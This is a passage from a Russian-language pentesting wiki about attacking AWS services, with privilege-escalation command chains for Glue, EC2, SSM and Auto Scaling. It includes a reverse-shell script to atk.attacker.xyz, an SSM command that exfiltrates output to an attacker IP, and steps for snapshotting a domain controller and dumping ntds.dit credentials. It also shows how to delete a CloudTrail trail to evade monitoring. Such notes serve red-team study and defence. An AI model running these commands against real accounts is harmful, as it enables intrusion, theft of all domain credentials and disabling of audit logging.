&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# TODO: это не обновление параметров, надо обновить команду&lt;br /&gt;
aws glue --endpoint-name target_endpoint --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== glue:CreateDevEndpoint + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить доступ к ролям, которые прикреплены к любому сервису Glue:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws glue create-dev-endpoint --endpoint-name my_dev_endpoint --role-arn arn_of_glue_service_role --public-key file://path/to/my/public/ssh/key.pub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== S3 ==&lt;br /&gt;
&lt;br /&gt;
Файловое хранилище, доступное по http(s).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{bucket_name}.s3.amazonaws.com&lt;br /&gt;
https://s3.amazonaws.com/{bucket_name}/&lt;br /&gt;
&lt;br /&gt;
# US Standard&lt;br /&gt;
http://s3.amazonaws.com&lt;br /&gt;
# Ireland&lt;br /&gt;
http://s3-eu-west-1.amazonaws.com&lt;br /&gt;
# Northern California&lt;br /&gt;
http://s3-us-west-1.amazonaws.com&lt;br /&gt;
# Singapore&lt;br /&gt;
http://s3-ap-southeast-1.amazonaws.com&lt;br /&gt;
# Tokyo&lt;br /&gt;
http://s3-ap-northeast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Делать запросы можно:&lt;br /&gt;
&lt;br /&gt;
* В браузере - http(s)&lt;br /&gt;
&lt;br /&gt;
* Используя awscli:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
В S3 может использоваться шифрование:&lt;br /&gt;
&lt;br /&gt;
* SSE-KMS - Server-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* SSE-C - Server-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
* CSE-KMS - Client-Side с ключами KMS&lt;br /&gt;
&lt;br /&gt;
* CSE-C - Client-Side с ключами заказчика&lt;br /&gt;
&lt;br /&gt;
=== Сбор информации ===&lt;br /&gt;
&lt;br /&gt;
==== Определение региона ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
$ dig flaws.cloud&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
flaws.cloud.    5    IN    A    52.218.192.11&lt;br /&gt;
&lt;br /&gt;
$ nslookup 52.218.192.11&lt;br /&gt;
Non-authoritative answer:&lt;br /&gt;
11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# Итоговый URL будет:&lt;br /&gt;
flaws.cloud.s3-website-us-west-2.amazonaws.com&lt;br /&gt;
flaws.cloud.s3-us-west-2.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Если будет некорректный регион - редиректнет на корректный.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Список файлов ====&lt;br /&gt;
&lt;br /&gt;
На S3-Bukket может быть включен листинг директорий, для этого достаточно перейти в браузере на хранилище и посмотреть возвращенный XML.&lt;br /&gt;
&lt;br /&gt;
Список файлов может быть включен отдельно на определенные директории, поэтому может потребоваться брут директорий используя, например, wfuzz (подстрока AccessDenied).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== s3:ListBucket ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список файлов в S3-хранилище:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3 ls  s3://flaws.cloud/ [--no-sign-request] [--profile &amp;lt;PROFILE_NAME&amp;gt;] [ --recursive] [--region us-west-2]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== s3:ListAllMyBuckets ====&lt;br /&gt;
&lt;br /&gt;
Посмотреть список всех S3-хранилищ, доступных мне:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws s3api list-buckets&lt;br /&gt;
aws s3 ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudFront ==&lt;br /&gt;
&lt;br /&gt;
Сервис сети доставки контента (CDN).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.cloudfront.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== EC2 (Elastic Compute Cloud) ==&lt;br /&gt;
&lt;br /&gt;
EC2 (Amazon Elastic Compute Cloud) == VPS&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Состоит из:&lt;br /&gt;
&lt;br /&gt;
* Instance - название виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* AMI (Amazon Machine Image) - образ виртуальной машины&lt;br /&gt;
&lt;br /&gt;
* SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
ec2-{ip-seperated}.compute-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSM Agent ===&lt;br /&gt;
&lt;br /&gt;
Как уже выше написано, SSM Agent - программное обеспечение Amazon, которое запущено на всеx EC2-инстансах, серверах и тд.&lt;br /&gt;
&lt;br /&gt;
Его тоже можно выбрать целью атаки&lt;br /&gt;
&lt;br /&gt;
==== MITM ====&lt;br /&gt;
&lt;br /&gt;
Есть возможность вклиниваться в общение от SSM-Агента локально.&lt;br /&gt;
&lt;br /&gt;
PoC: https://github.com/Frichetten/ssm-agent-research/tree/main/ssm-session-interception&lt;br /&gt;
&lt;br /&gt;
Полная статья: https://frichetten.com/blog/ssm-agent-tomfoolery/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== ec2:RunInstance + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет прикрепить существующую роль к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
1. Запуск машины c новой прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
2. Подключение к ней&lt;br /&gt;
&lt;br /&gt;
3. Работа с прикрепленной ролью&lt;br /&gt;
&lt;br /&gt;
Создание EC2 с известным SSH-ключем:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --key-name my_ssh_key --security-group-ids sg-123456&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - скрипт для запуска:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name=iam-full-access-ip --user-data file://script/with/reverse/shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Важно! Может спалиться с GuardDuty когда учетные данные пользователя будут использованы на стороннем инстансе EC2.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение до админа ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:AssociateIamInstanceProfile ====&lt;br /&gt;
&lt;br /&gt;
Позволяет менять IAM политики/роли/пользователей&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateInstanceProfile/ec2:AddRoleToInstanceProfile + iam:PassRole ====&lt;br /&gt;
&lt;br /&gt;
Позволяет создать новый привилегированный профиль для инстанса и прикрепить его к скомпрометированной EC2-машине.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume + ec2:AttachVolume ====&lt;br /&gt;
&lt;br /&gt;
См. EBS.&lt;br /&gt;
&lt;br /&gt;
==== ec2:DescribeSnapshots ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть информацию о SnapShot'ах, которые позже мб потребуется прочитать:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws  ec2 describe-snapshots --profile flawscloud --owner-id 975426262029 --region us-west-2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:CreateVolume ====&lt;br /&gt;
&lt;br /&gt;
Прзврояет примаунтить SnapShot, чтобы потом его изучить:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 create-volume --profile YOUR_ACCOUNT --availability-zone us-west-2a --region us-west-2  --snapshot-id  snap-0b49342abd1bdcb89&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2:* (Копирование EC2) ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скопировать EC2 используя AMI-images:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Создаем новый AMI из Instance-ID&lt;br /&gt;
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name &amp;quot;AWS Audit&amp;quot; --description &amp;quot;Export AMI&amp;quot; --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
